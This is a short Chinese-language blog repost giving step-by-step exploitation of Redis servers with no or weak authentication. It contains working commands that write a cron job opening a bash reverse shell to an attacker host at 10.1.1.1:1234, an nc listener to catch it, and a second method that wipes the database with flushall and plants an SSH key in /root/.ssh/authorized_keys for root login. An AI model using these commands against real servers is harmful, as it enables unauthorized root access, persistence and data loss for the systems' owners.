原文来源 :
https://www.cnblogs.com/Kevin-1967/p/8940137.html
背景:
redis无认证,或者弱密码,可以成功连接到redis服务器
反弹shell拿到的权限取决于redis的启动账号
操作:
1. Centos7安装redis客户端
#yum install redis --查看是否有redis yum 源
#yum install epel-release --下载fedora的epel仓库
# yum install redis -- 安装redis数据库
【漏洞利用方法1 写crontab,反弹shell】
2.连接redis服务器,执行命令
#redis-cli -h 10.1.1.2 -a 123456 //如果没有密码,不用添加-a参数
10.1.1.2:6379> config set dir /var/spool/cron
OK
10.1.1.2:6379> config set dbfilename root
OK
10.1.1.2:6379> set xxoo "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"
10.1.1.2:6379>save
OK
上面的方法是需要先连接到redis服务器,然后再执行命令,也可以直接执行命令,无需连接
#echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"|redis-cli -h 192.168.118.129 -a 123456 -x set 1
#redis-cli -h 192.168.118.129 -a 123456 config set dir /var/spool/cron/
#redis-cli -h 192.168.118.129 -a 123456 config set dbfilename root
#redis-cli -h 192.168.118.129 -a 123456 save
3.在 10.1.1.1上执行
#nc -l -p 1234 -vv //监听1234端口
很快就能收到shell
【漏洞利用方法2 写authorized_keys 实现无密码登录】
执行命令如下:
127.0.0.1:6379>flushall
OK
127.0.0.1:6379>config set dir /root/.ssh/
OK
127.0.0.1:6379>config set dbfilename authorized_keys
OK
127.0.0.1:6379>set xxoo "\n\n\nssh-rsa [email protected]ost.localdomain\n\n"
OK
127.0.0.1:6379>save
OK
然后ssh 连接目标服务器即可
侵权请私聊公众号删文